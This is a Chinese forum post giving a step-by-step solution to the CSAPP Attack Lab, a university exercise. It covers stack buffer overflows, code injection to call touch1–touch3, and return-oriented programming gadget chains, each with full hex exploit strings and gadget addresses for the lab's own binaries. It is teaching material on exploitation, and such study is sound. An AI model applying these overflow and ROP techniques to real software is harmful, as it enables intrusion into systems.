《深入理解计算机系统》Attack Lab 题解

查看 1|回复 0
作者:asciibase64   
前言
阅读此篇题解需要有CSAPP第三章基础,对于基本汇编指令本文不做过多说明。尝试Lab前应先下载官方提供的Writeup并在开始每一阶段前阅读相应内容,否则容易一头雾水。
注意,因为我们是在本地运行Lab,所以运行程序时要加上参数-q,告诉程序不上数据传到伺服器,否则无法运行。
笔者学识稍浅,若有疏漏或错误处,欢迎各位大佬指正。
Phase_1
文档给了test函数的C代码:
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
还给了touch1函数的代码:
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}
题目要求当getbuf返回时不返回到下一行的printf,而是跳转到touch1运行。
首先查看getbuf的反汇编代码:
00000000004017a8 :
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop
  4017bf:   90                      nop
0x4017a8处指令开辟了大小0x28 = 40(字节)的栈空间,然后将栈顶作为参数(%rdi)传给Gets函数。
我们需要在输入时输入48字节的内容让栈溢出,使返回地址被覆盖为touch1的内存地址。
00000000004017c0 :
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40
查看代码我们可以发先touch1首行指令在地址0x4017c0处,这是我们想让代码从getbuf返回的地址。(注意,因为机器采小端序,在输入时应输入C0 17 40 00)
由此,我们可以构建出shellcode:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40 00
我们将这段内容保存在档案phase_1中,然后使用lab提供的工具hex2raw将其转换成程序接受的string类型。
注意,运行ctarget前要加上-q,防止因为程序连接不上伺服器而报错。
./hex2raw


1.png (99.81 KB, 下载次数: 0)
下载附件
2025-5-28 18:03 上传

Phase_2
查看文档,发现给出的touch2函数要求传入一个无符号数,并检查该输入是否与cookie相等。
void touch2(unsigned val) {
    vlevel = 2;
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }
    else {
        printf("Misfire: You called touch2(0.x%8x)\n", val);
        fail(2);
    }
    exit(0);
}
00000000004017ec :
  4017ec:   48 83 ec 08             sub    $0x8,%rsp
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4
  401802:   75 20                   jne    401824
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          callq  401c8d
  401822:   eb 1e                   jmp    401842
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          callq  401d4f
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40
首先查看代码可以知道touch2函数开头地址为0x4017ec。在Lab文件夹内有一个文件叫cookie.txt,里面存放着我们需要的cookie值。


2.png (4.88 KB, 下载次数: 0)
下载附件
2025-5-28 18:03 上传

因为我们要将cookie值传给touch2,回想CSAPP第三章内容可以知道,函数的第一个参数存放在%rdi中。所以我们需要执行以下代码:
movq $0x59b997fa, %rdi
然后我们要调用touch2函数,即0x4017ec地址处。这里我们不使用call或jmp而使用ret,因为偏移不好计算。注意,ret指令会跳转到栈顶保存的地址,并将该地址出栈(pop)。
pushq $0x4017ec
ret
将三行汇编代码结合在一起,就成功达成调用函数的功能了。我们将这段代码保存在phase_2_asm.s中,然后使用指令:
gcc -c phase_2_asm.s
objdump -d phase_2_asm > phase_2_asm.asm
打开phase_2_asm.asm,可以发现对应的机器代码。
phase_2_asm.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 :
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   
即:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
有这些还不够,因为这些数据在输入后会被储存在栈中,所以会被视为数据而非代码的一部份。所以我们利用栈溢出将栈中原本的储存地址覆盖成栈顶(用户输入数据的存储起始点)的位置,即可让该段代码被值行。(即将%rip设置为%rsp)
通过gdb查看,我们可以发现用户输入数据的存储起始点在0x5561dc78处。


3.png (282.63 KB, 下载次数: 0)
下载附件
2025-5-28 18:03 上传

利用0填充空间后,我们可以构建出shellcode并将其保存在phase_2中:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55
利用以下代码验证其正确性:
./hex2raw


4.png (112.74 KB, 下载次数: 0)
下载附件
2025-5-28 18:03 上传

Phase_3
查看文档,发现这题需要给hexmatch函数传入一个等于cookie的字符串,其中字符串应传入首字符的地址(char *)。
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
    vlevel = 3;
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    }
    else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
首先查看touch3的地址:0x4018fa。cookie的值在phase_2就找到过了:0x59b997fa。文档中说明传入的cookie字符串不应包含前缀的0x,所以实际要传入的字符串应为:59b997fa。
注意,通过查看文档,我们可以发现一句话:"When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. "。即当hexmatch和strncmp被调用时会将数据入栈,可能会覆盖getbuf的部分内容,需要小心选择字符串储存地址。
意即避免将字符串存放在getbuf的栈帧内,故此我们选择将其存放在test的栈帧内。


5.png (210.12 KB, 下载次数: 0)
下载附件
2025-5-28 18:03 上传

查看test的栈底:0x5561dca8。
参考phase_2我们可以编写出以下汇编代码,并将其转换为机器代码:
0000000000000000 :
    0:  48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
    7:  68 fa 18 40 00          pushq  $0x4018fa
    c:  c3                      retq  
到目前为止,我们可以写出以下与phase_2雷同的shellcode:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55
由于我们的字符串应储存在0x5561dca8,而储存我们输入的首地址在0x5561dc78,所以我们应该给输入的最后一行填充0并在下一行处填入cookie字符串。
回想字符串如何储存:利用ASCII表示字符。
将cookie转换为ASCII码后为:35 39 62 39 39 37 66 61
至此,我们的shellcode就构建出来了:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
创建文件phase_3并将shellcode存放在该的文件中,测试:


6.png (114.03 KB, 下载次数: 0)
下载附件
2025-5-28 18:03 上传

Return-Oriented Programming 概念补充
下个阶段不能使用前三个阶段的代码注入(Code Injection)技术,因为:
  • 使用地址随机化技术,导致每次运行时栈的地址都不同,使得难以定位注入的代码。
  • 将栈的内存设置为不可执行,所以就算可以将PC设置为注入代码的地址,程序也会返回segmentation fault。

    故,下两阶段会用到ROP知识(Return-Oriented Programming)。
    ROP使用的概念是找出程序中的特殊几个字节,即我们想要执行的代码与ret,我们称这种片段gadget(ret指令用来跳转到下一个gadget)。


    7.png (69.81 KB, 下载次数: 0)
    下载附件
    2025-5-28 18:03 上传

    上图说明了如何在栈中设置并执行一连串的gadget,其中0xc3表示指令ret。当每个gadget运行到ret时,会从栈顶取出下一个gadget的地址并执行,使得整个gadget链被完整执行。
    用以下例子举例:
    void setval_210 (unsigned *p) {
        *p = 3347663060U;
    }
    0000000000400f15 :
      400f15:       c7 07 d4 48 89 c7    movl  $0xc78948d4, (%rdi)
      400f1b:       c3                   retq
    字节序列48 89 c7就可以组成指令movq %rax, %rdi,并且这个序列最后还跟随了一个c3,也就是ret。我们的目标序列在地址0x400f18处,所以如果直接跳转到0x400f18处就可以执行我们想要执行的指令。
    Phase_4
    此题与phase_2雷同,只是开启了保护。因为无法在栈上执行代码,所以我们使用ROP。
    在此我们想使用gadget实现以下功能:
    movq $0x59b997fa, %rdi
    pushq $0x4017ec
    ret
    但是显然gadget中不会包含我们需要的立即数(如:0x59b997fa)。换个思路,我们可以将数据存放在栈中,然后使用popq取得数值。搜寻popq %rdi对应的机器代码5f,发现无法在有效区内找到。我们换个思路,可以尝试用一个中转寄存器储存这个值:
    gadget1:
    popq %rax
    ret
    gadget2:
    mov %rax, %rdi
    ret


    8.png (108.26 KB, 下载次数: 0)
    下载附件
    2025-5-28 18:03 上传

    查看上图可发现,对应机器代码为:58 c3与48 89 c7 c3。通过搜索我们可以找到以下两个函数:
    00000000004019ca :
      4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
      4019cf:   c3                      retq  
    00000000004019a0 :
      4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
      4019a6:   c3                      retq
    通过在0x4019cc截断第一个函数可以构成gadget1(90为nop,即no operation),在0x4019a2截断第二个函数可以构成gadget2。
    理想状态下,我们期望栈的状态如下:
    ---- Stack ----
    -------------
    full of zero | getbuf的栈帧
    -------------
    gadget1      | test的栈帧 (getbuf的返回地址)
    cookie       |
    gadget2      |
    touch2       |
    -------------
    ---------------
    当getbuf执行ret后,会跳转到gadget1并将其地址出栈。
    这时gadget1中的pop就会将cookie值从栈顶取出,然后跳转到gadget2继续执行。
    故此,我们可以构建出以下shellcode,并保存在phase_4中:
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    cc 19 40 00 00 00 00 00
    fa 97 b9 59 00 00 00 00
    a2 19 40 00 00 00 00 00
    ec 17 40 00 00 00 00 00
    验证正确性:


    9.png (279.13 KB, 下载次数: 0)
    下载附件
    2025-5-28 18:03 上传

    Phase_5
    终于到这个阶段了,可以先休息一波。官方文档还温馨提示我们:已经得到了95/100的分数,这是一个很棒的分数了。如果大家有甚么其他更重要的事情可以先放下这个lab去做啦!因为这个阶段只占可怜的5分,不值得我们耗费这么多时间去解答它,除非我们将它视为额外的挑战任务,想要超越这门课程对普通学生的期待程度。
    既然如此,各位看官若是手头上有其他事情要做,就可以关闭这份题解啦!否则,我们还有路要走喔。
    因为地址随机,所以想要获取字符串的储存地址应该使用%rsp + 的形式取得。
    我们想要实现以下功能:
    mov %rsp, %rax
    add $bias, %rax
    mov %rax, %rdi
    call touch3
    但是寻找后发现没有add的机器码,我们可以使用另一个函数代替。
    00000000004019d6 :
      4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
      4019da:   c3                      retq
    因为某些mov指令的源或目标寄存器的机器码不存在程序中,所以我们需要通过一些过渡寄存器来传递这些值。相信各位在经历phase 4后,已经可以独立寻找到相应的机器码地址。此处便不再重述,直接给出栈的样子 (省略各gadget的ret指令)。
    ---- Stack ----
    --------------------------------------------
    full of zero                                | getbuf的栈帧
    --------------------------------------------   
    mov %rsp, %rax: 0x401a06                    | test的栈帧 (getbuf的返回地址)
    mov %rax, %rdi: 0x4019a2                    |
    pop %rax: 0x4019cc                          |
    bias: 8 * 9 = 72 (0x48)                     |
    mov %eax, %edx: 0x4019dd                    |
    mov %edx, %ecx: 0x401a70                    |
    mov %ecx, %esi: 0x401a27                    |
    lea (%rdi, %rsi, 1), %rax: 0x4019d6         |
    mov %rax, %rdi: 0x4019a2                    |
    Address of touch3: 0x4018fa                 |
    ASCII of cookie: 35 39 62 39 39 37 66 61 00 |
    --------------------------------------------
    ---------------
    注意此处偏移量的计算:执行mov %rsp, %rax时,%rsp其实正指向存放mov %rax, %rdi的栈内存。回忆ret指令相等于以下两条指令pop %rsp+ jmp %rsp,所以执行第一个gadget时,%rsp正指向第二个gadget的内存地址。从第二个gadget算起,到cookie字符串储存的地址,中间隔了9个8字节的大小,所以偏移量为$8 \times 9 = 72 (0x48)$。
    以上,可以构建出shellcode:
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    06 1a 40 00 00 00 00 00
    a2 19 40 00 00 00 00 00
    cc 19 40 00 00 00 00 00
    48 00 00 00 00 00 00 00
    dd 19 40 00 00 00 00 00
    70 1a 40 00 00 00 00 00
    27 1a 40 00 00 00 00 00
    d6 19 40 00 00 00 00 00
    a2 19 40 00 00 00 00 00
    fa 18 40 00 00 00 00 00
    35 39 62 39 39 37 66 61
    验证正确性:


    10.png (122.94 KB, 下载次数: 0)
    下载附件
    2025-5-28 18:03 上传

    至此,五个阶段全部完结。
    后记
    终于完结此篇题解,时间拖得有些久,因为进入大学的准备忙得焦头烂额。最近才知道录取的是专业大类且没法依个人意愿自由分流,也就是说进入学校后还需二次分流,笔者很难依意愿进入喜爱的计算机了。正考虑继续就读本地大学或申请国外大学两条路,若选择继续就读本地大学,以后更新频率可能会创下新低,只能使用课余时间研究。等于回到高中时期,既要顾课业也要顾兴趣。最近也要为分流考试准备,预习数学与刷题,可能更新频率也不会太高。
    最后,谢谢你愿意看我的后记碎碎念。

    地址, 代码

  • 您需要登录后才可以回帖 登录 | 立即注册

    返回顶部